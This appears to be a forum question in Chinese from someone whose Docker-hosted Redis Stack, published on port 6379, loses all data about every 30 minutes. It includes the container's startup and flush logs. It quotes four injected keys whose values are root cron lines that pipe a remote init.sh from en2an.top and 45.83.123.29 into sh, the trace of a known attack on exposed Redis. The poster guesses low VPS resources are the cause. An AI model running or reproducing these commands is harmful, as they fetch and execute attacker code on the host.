我在docker中运行Redis,使用以下命令启动:
docker run -d --restart except-stopped -p 6379:6379 redis/redis-stack-server:latest
但是redis里面的所有数据包括索引每30分钟就会被删除一次,不知道为什么会这样。
可能是因为我运行docker的VPS资源非常有限吗?
VPS 规格为 1 核 CPU、1 GB RAM 和交换以及 20 GB 存储空间。操作系统是 Ubuntu 22.04。VPS 提供商是 RackNerd。我在 OVH 上具有相同规格的 VPS 上运行了相同的 docker-redis,没有任何问题。
我在 docker 上运行 Redis 是因为我想使用 Redisearch 功能。
每隔几个小时,名为backup1 backup2 backup3 backup4的键就会出现在 redis 中。以下是每个键的值:
backup1 : */2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh
这是docker日志:
root@racknerd-d76c238:~# docker logs b4bb752bcda8
8:C 08 Jan 2025 04:51:49.757 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
8:C 08 Jan 2025 04:51:49.759 * oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
8:C 08 Jan 2025 04:51:49.759 * Redis version=7.4.1, bits=64, commit=00000000, modified=0, pid=8, just started
8:C 08 Jan 2025 04:51:49.759 * Configuration loaded
8:M 08 Jan 2025 04:51:49.761 * Increased maximum number of open files to 10032 (it was originally set to 1024).
8:M 08 Jan 2025 04:51:49.761 * monotonic clock: POSIX clock_gettime
8:M 08 Jan 2025 04:51:49.766 * Running mode=standalone, port=6379.
8:M 08 Jan 2025 04:51:49.768 * Module 'RedisCompat' loaded from /opt/redis-stack/lib/rediscompat.so
8:M 08 Jan 2025 04:51:49.790 * <search> Redis version found by RedisSearch : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.790 * <search> RediSearch version 2.10.5 (Git=2.10-e2f2 8a9)
8:M 08 Jan 2025 04:51:49.791 * <search> Low level api version 1 initialized successfully
8:M 08 Jan 2025 04:51:49.791 * <search> gc: ON, prefix min length: 2, min word length to stem: 4, prefix max expansions: 200, query timeout (ms): 500, timeout policy: return, cursor read size: 1000, cursor max idle (ms): 300000, max doctable size: 1000000, max number of search results: 10000,
8:M 08 Jan 2025 04:51:49.791 * <search> Initialized thread pools!
8:M 08 Jan 2025 04:51:49.793 * <search> Enabled role change notification
8:M 08 Jan 2025 04:51:49.793 * Module 'search' loaded from /opt/redis-stack/lib/redisearch.so
8:M 08 Jan 2025 04:51:49.804 * <timeseries> RedisTimeSeries version 11202, git_sha=5643fd4d6fcb1e9cf084fb2deb9285b08f4a6672
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Redis version found by RedisTimeSeries : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default CHUNK_SIZE_BYTES policy: 4096
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded server DUPLICATE_POLICY: block
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_TIME_DIFF:0
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_VAL_DIFF:0.000000
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Setting default series ENCODING to:compressed
8:M 08 Jan 2025 04:51:49.806 * <timeseries> Detected redis oss
8:M 08 Jan 2025 04:51:49.806 * Module 'timeseries' loaded from /opt/redis-stack/lib/redistimeseries.so
8:M 08 Jan 2025 04:51:49.816 * <ReJSON> Created new data type 'ReJSON-RL'
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> version: 20803 git sha: unknown branch:unknown
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V1 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V2 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V3 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V4 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.819 * <ReJSON> Enabled diskless replication
8:M 08 Jan 2025 04:51:49.819 * Module 'ReJSON' loaded from /opt/redis-stack/lib/rejson.so
8:M 08 Jan 2025 04:51:49.819 * <search> Acquired RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.822 * <bf> RedisBloom version 2.8.2 (Git=unknown)
8:M 08 Jan 2025 04:51:49.823 * Module 'bf' loaded from /opt/redis-stack/lib/redi sbloom.so
8:M 08 Jan 2025 04:51:49.832 * <redisgears_2> Created new data type 'GearsType'
8:M 08 Jan 2025 04:51:49.835 * <redisgears_2> Detected redis oss
8:M 08 Jan 2025 04:51:49.838 # <redisgears_2> could not initialize RedisAI_InitError
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> Failed loading RedisAI API.
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> RedisGears v2.0.20, sha='9b737886bf825fe29ddc2f8da81f73cbe0b4e858', build_type='release', built_for='Linux-ubuntu2 2.04.x86_64', redis_version:'7.4.1', enterprise:'false'.
8:M 08 Jan 2025 04:51:49.881 * <redisgears_2> Registered backend: js.
8:M 08 Jan 2025 04:51:49.890 * Module 'redisgears_2' loaded from /opt/redis-stack/lib/redisgears.so
8:M 08 Jan 2025 04:51:49.891 * Server initialized
8:M 08 Jan 2025 04:51:49.892 * Ready to accept connections tcp
8:M 08 Jan 2025 05:04:19.697 * DB saved on disk
8:M 08 Jan 2025 05:04:20.167 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:20.172 * DB saved on disk
8:M 08 Jan 2025 05:04:21.850 * DB saved on disk
8:M 08 Jan 2025 05:04:22.318 * DB saved on disk
8:M 08 Jan 2025 05:04:22.565 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:22.568 * DB saved on disk
8:M 08 Jan 2025 05:04:24.255 * DB saved on disk
8:M 08 Jan 2025 05:04:24.965 * DB saved on disk
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 05:46:37.355 * DB saved on disk
8:M 08 Jan 2025 05:46:37.746 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:37.750 * DB saved on disk
8:M 08 Jan 2025 05:46:39.517 * DB saved on disk
8:M 08 Jan 2025 05:46:39.910 * DB saved on disk
8:M 08 Jan 2025 05:46:40.104 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:40.107 * DB saved on disk
8:M 08 Jan 2025 05:46:41.466 * DB saved on disk
8:M 08 Jan 2025 05:46:42.050 * DB saved on disk
8:M 08 Jan 2025 06:21:30.817 * <module> Scanning index idx:business in background
8:M 08 Jan 2025 06:21:30.822 * <module> Scanning index idx:business in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.823 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 06:21:30.825 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.826 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 06:21:30.827 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.828 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 06:21:30.831 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 06:46:43.095 * 1 changes in 3600 seconds. Saving...
8:M 08 Jan 2025 06:46:43.105 * Background saving started by pid 29
29:C 08 Jan 2025 06:46:43.123 * DB saved on disk
29:C 08 Jan 2025 06:46:43.124 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
8:M 08 Jan 2025 06:46:43.207 * Background saving terminated with success